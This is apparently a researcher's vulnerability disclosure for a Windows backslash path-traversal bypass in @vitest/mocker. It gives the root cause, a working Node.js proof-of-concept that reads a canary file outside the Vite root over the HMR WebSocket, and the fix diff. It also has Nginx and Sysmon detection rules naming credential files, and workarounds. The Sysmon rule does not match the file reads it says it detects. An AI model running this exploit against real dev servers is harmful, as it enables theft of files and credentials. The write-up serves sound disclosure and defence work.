Disclosure: CVE-2026-112950 is a bypass of the fix for GHSA-82fw-gwwq-j7x9 in @vitest/mocker. I reported it to the Vitest maintainers as jankesec. It is fixed in 4.1.12 and 5.0.3 and published as GHSA-xp26-3454-mjgp. GitHub scored it CVSS 3.1 5.9 (Medium): AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N.

On Windows, a redirect mock whose path contains ..\ passes the allowlist check added by the first fix, and the server then reads a file outside the project root. The attacker needs a connection to the Vite HMR WebSocket of a Windows dev server that registers the redirect handler. mockerPlugin and a standalone interceptorPlugin do; Vitest’s own browser mode does not. Vite listens on localhost by default, so the server has to be exposed first, for example with --host 0.0.0.0 or through a proxy.

The cause is a disagreement between the check and the read. The check treats \ as an ordinary character. The file read treats it as a directory separator.

The first fix

GHSA-82fw-gwwq-j7x9 showed that any client that can reach the dev server’s HMR WebSocket could register a redirect mock for an arbitrary path, and the plugin would later return that file’s contents as the module. The first fix runs the computed path through Vite’s isFileLoadingAllowed() before it is stored:

// interceptorPlugin.ts after the first fix (simplified)
import { join } from 'node:path/posix'

const redirectUrl = new URL(event.redirect)
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect

With a custom scheme such as traversal:, new URL() keeps the path opaque. traversal:../secret.txt gives a pathname of ../secret.txt, join(root, '../secret.txt') lands above the root, and isFileLoadingAllowed() rejects it. On Linux and macOS this works as intended.

Where the check and the read disagree

join comes from node:path/posix, where / is the only separator and \ is a normal filename character. Take a Vite root of C:/workspace/project/root and a redirect of traversal:..\secret.txt:

  1. redirectUrl.pathname is ..\secret.txt.
  2. join('C:/workspace/project/root', '..\\secret.txt') finds no .. segment and returns C:/workspace/project/root/..\secret.txt.
  3. isFileLoadingAllowed() compares that string with server.fs.allow. It starts with the allowed root, so it passes and the mock is stored.
  4. When the module is requested, the plugin calls readFile(mock.redirect, 'utf-8'). On Windows, Node opens the file through CreateFileW, where \ separates directories and ..\ is resolved. The file that gets opened is C:\workspace\project\secret.txt, one level above the root.
ATTACKER: WebSocket client on the Vite HMR socket Registers redirect: traversal:..\secret.txt ALLOWLIST CHECK: interceptorPlugin.ts join() from node:path/posix keeps "..\" as text, so isFileLoadingAllowed() passes FILE READ: readFile(mock.redirect) via CreateFileW Win32 treats "\" as a separator and resolves ".." → a file outside the project root is returned
The allowlist check reads \ as an ordinary character. The file read treats it as a directory separator.

Evidence matrix

QuestionWhat I checkedConfidenceNotes and negative controls
Which versions are affected?@vitest/[email protected] and @vitest/[email protected] on Windows Server 2025 with Node.js 22, and main at 2ce29d5.HighAll three behaved the same. The advisory lists 4.1.11 and >=5.0.0-rc.2, <5.0.3 as affected.
Does the first fix still stop /?Registered traversal:../secret.txt over the same WebSocket.HighHTTP 404. isFileLoadingAllowed() rejected it.
Does the backslash form get through?Registered traversal:..\secret.txt, which points at a sibling file holding a canary string.HighHTTP 200 with SYNTHETIC_OUTSIDE_ROOT_CANARY.
What does the attacker need?A WebSocket connection to the Vite HMR port of a server that registers the redirect handler (mockerPlugin or a standalone interceptorPlugin).HighThe dev server listens on localhost by default. Exposure needs --host or a proxy. Vitest browser mode does not register this handler.
Is the browser RPC path affected?Read packages/browser/src/node/rpc.ts.HighNo. It joins paths with pathe, which converts backslashes before the check.
Does the fix close it?Re-ran the PoC against 4.1.12 and 5.0.3.HighBackslashes are converted to / before the join, so isFileLoadingAllowed() rejects both forms.

Reproduction

I reproduced the issue on a clean Windows machine with a canary file instead of real secrets. The script starts a standalone Vite server with interceptorPlugin and writes the canary next to the server root:

<tmpdir>\vitest-path-<uuid>\
├── root\          server.config.root, the only allowed directory
└── secret.txt     canary file containing SYNTHETIC_OUTSIDE_ROOT_CANARY

The script (poc.mjs) registers two redirects over the same WebSocket, one with / as the negative control and one with \, requests both modules over HTTP and prints the result:

import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  // 1. Negative control: Standard forward-slash traversal
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  // 2. Exploit vector: Windows backslash traversal
  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
  }

  console.log(JSON.stringify(result, null, 2))
} finally {
  await server.close()
}

Observed output

Run against @vitest/[email protected] on Windows. The script also prints root and outsideFile; I removed those local paths.

{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY"
}

The two requests differ only in the separator. traversal:../secret.txt returned 404, so the first fix was active. traversal:..\secret.txt returned 200 with the canary string.

The fix

The fix is commit 15cc006 (PR #11377, released in 5.0.3), backported as b825313 (PR #11580, released in 4.1.12). It wraps the URL pathname in slash() from @vitest/utils/helpers, which converts backslashes to /, before the join. The same commit applies slash() to the paths in packages/browser/src/node/rpc.ts. That code was not exploitable, but now matches.

--- a/packages/mocker/src/node/interceptorPlugin.ts
+++ b/packages/mocker/src/node/interceptorPlugin.ts
@@ -2,6 +2,7 @@ import type { Plugin } from 'vite'
 import type { MockedModuleSerialized } from '../registry'
 import { readFile } from 'node:fs/promises'
 import { join } from 'node:path/posix'
+import { slash } from '@vitest/utils/helpers'
 import { isFileLoadingAllowed } from 'vite'
 import { ManualMockedModule, MockerRegistry } from '../registry'
 import { cleanUrl, createManualModuleSource } from '../utils'
@@ -77,7 +78,7 @@ export function interceptorPlugin(options: InterceptorPluginOptions = {}): Plugi
         } else {
           if (event.type === 'redirect') {
             const redirectUrl = new URL(event.redirect)
-            const redirect = join(server.config.root, redirectUrl.pathname)
+            const redirect = join(server.config.root, slash(redirectUrl.pathname))
             // the redirect is served through the `load` hook below, so it must
             // stay inside the file-serving allowlist and never escape the root
             if (!isFileLoadingAllowed(server.config, redirect)) {

..\secret.txt now becomes ../secret.txt before join(). The result resolves above server.config.root, and isFileLoadingAllowed() rejects it, the same as the forward-slash form.

Path resolution divergence matrix

The vulnerability exists entirely in the discrepancy between how standard URL parsers, POSIX path utilities, and the Win32 filesystem API interpret backslash characters:

LayerInput StringInterpreted SeparatorsOutput / DecisionSecurity Implication
WHATWG URL Parser (new URL(...))traversal:..\secret.txtOnly / for non-special schemespathname: "..\secret.txt"Backslash is kept intact; not normalized to slash.
POSIX Path Join (path/posix.join)join("C:/root", "..\secret.txt")Only /"C:/root/..\secret.txt"..\ is treated as a literal file name segment, not a parent reference.
Vite FS Allowlist (isFileLoadingAllowed)"C:/root/..\secret.txt"Lexical prefix match against allowed rootsALLOWED (true)String begins with allowed prefix "C:/root".
Win32 Runtime (CreateFileW via readFile)C:\root\..\secret.txtBoth / and \Opens C:\secret.txtKernel resolves ..\ as parent directory, escaping the root.

Detection engineering and telemetry

Exploitation targets the development server’s HMR WebSocket and can be identified at both the network layer and within process telemetry.

1. Reverse proxy and WAF detection

When a development environment is proxied through Nginx, HAProxy, or a cloud WAF, WebSocket payloads with redirect mocks containing backslash traversal sequences can be blocked:

# Nginx WebSocket inspection snippet
# Drop websocket upgrades carrying raw or encoded Windows directory traversal
map $http_upgrade $is_websocket {
    default 0;
    "websocket" 1;
}

# In server/location block for Vite HMR
if ($request_uri ~* "(%5c|\x5c|\\)\.\.(%5c|\x5c|\\|/)") {
    return 400 "Blocked traversal sequence";
}

2. Windows Sysmon file telemetry

SOC teams monitoring developer workstations or CI runners can track Node.js accessing sensitive files outside project roots via Sysmon Event ID 11 (FileCreate/FileRead):

<!-- Sysmon FileRead/FileAccess Rule -->
<RuleGroup name="" groupRelation="or">
  <FileCreate onmatch="include">
    <Rule groupRelation="and">
      <Image condition="end with">node.exe</Image>
      <TargetFilename condition="begin with">C:\Windows\System32\</TargetFilename>
    </Rule>
  </FileCreate>
</RuleGroup>

When exploitation occurs, telemetry flags node.exe serving requests directly from user profile secrets (e.g. .aws/credentials, id_rsa, or environment files) outside the working tree.

Workaround: configuration hardening without upgrading

If an immediate upgrade to @vitest/mocker 4.1.12 or 5.0.3 is not feasible, apply the following mitigations:

  1. Restrict network interfaces: Never expose Vite using --host 0.0.0.0 or --host on shared networks, Wi-Fi, or CI environments. Keep server binding strictly to the loopback interface:

    // vite.config.ts
    export default defineConfig({
      server: {
        host: '127.0.0.1', // Enforce loopback only
        cors: false,
      },
    })
  2. Enforce strict filesystem isolation: Disable serving files from outside the workspace root by configuring server.fs:

    // vite.config.ts
    export default defineConfig({
      server: {
        fs: {
          strict: true,
          deny: ['**/.*', '**/*.env*', '**/*.key'],
        },
      },
    })

ATT&CK technique mapping

TacticTechnique IDTechnique NameExploitation MechanismDefensive Control
Initial Access / DiscoveryT1190Exploit Public-Facing ApplicationExposed Vite HMR WebSocket endpoint receives malicious redirect mock registration.Bind dev server strictly to 127.0.0.1; firewall dev ports.
DiscoveryT1083File and Directory DiscoveryAttacker traverses parent directories on Windows host to read files outside project root.Normalize path separators with slash() before validation.
Credential AccessT1552.001Unsecured Credentials: Credentials in FilesArbitrary file read leaks configuration files, environment variables, or private keys.Enforce server.fs.deny lists; isolate development tokens.

Takeaways

  1. Normalize separators for the platform that consumes the string. node:path/posix suits URLs, but once the result reaches readFile() on Windows, convert \ before any security check.
  2. Do not assume a URL parser fixes backslashes. The WHATWG parser treats \ as / for special schemes such as http and file, and keeps it for a custom scheme like traversal:.
  3. Check the value you will actually use. Resolve the input to an absolute, normalized path (and with realpath where symlinks matter), then test containment on that result.
Severity Assessment · MEDIUM

Vulnerability Scoring & CVSS Vector Breakdown

Base score and individual metric vector breakdown calculated by GitHub CNA.

5.9Medium
CVSS Vector StringCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
AV · VectorNetwork
AC · ComplexityHigh
PR · PrivilegesNone
UI · User InteractionNone
S · ScopeUnchanged
C · ConfidentialityHigh
I · IntegrityNone
A · AvailabilityNone
Audit Trail · CVE-2026-112950

Coordinated Disclosure & Remediation Timeline

Verified chronological audit trail for CVE-2026-112950: from reproduction to upstream fix, backport, and official advisory release.

  1. Fix mergedStep 01

    The fix referenced by the advisory landed in vitest-dev/vitest (PR #11377).

    Source / Reference ↗
  2. BackportStep 02

    The redirect mock hardening was backported to the 4.x line (PR #11580).

    Source / Reference ↗
  3. PublishedStep 03

    GitHub, as CNA, published the CVE record and advisory GHSA-xp26-3454-mjgp.

    Source / Reference ↗
  4. Record updateStep 04

    CISA added its Vulnrichment (SSVC) assessment to the CVE record.

  5. Site verificationStep 05

    jankesec checked the CVE record, score, affected versions, and references.

Sources & limits

Evidence used for this analysis

Sources checkedOctober 20, 2026

Version and exploitation status can change; follow the linked vendor records.

Review statusAuthor review complete

The author completed a technical review. This does not, by itself, claim lab reproduction.

◈ CITE THIS RESEARCH

Reference this analysis in technical reports or publications:

@misc{jankesec_cve_2026_112950_vitest_mocker_path_traversal_2026,
  author = {Sevban Dönmez},
  title = {CVE-2026-112950: Windows Backslash Traversal in @vitest/mocker},
  year = {2026},
  howpublished = {\url{https://jankesec.com/research/cve-2026-112950-vitest-mocker-path-traversal/}},
  note = {jankesec technical security research (CVE-2026-112950)}
}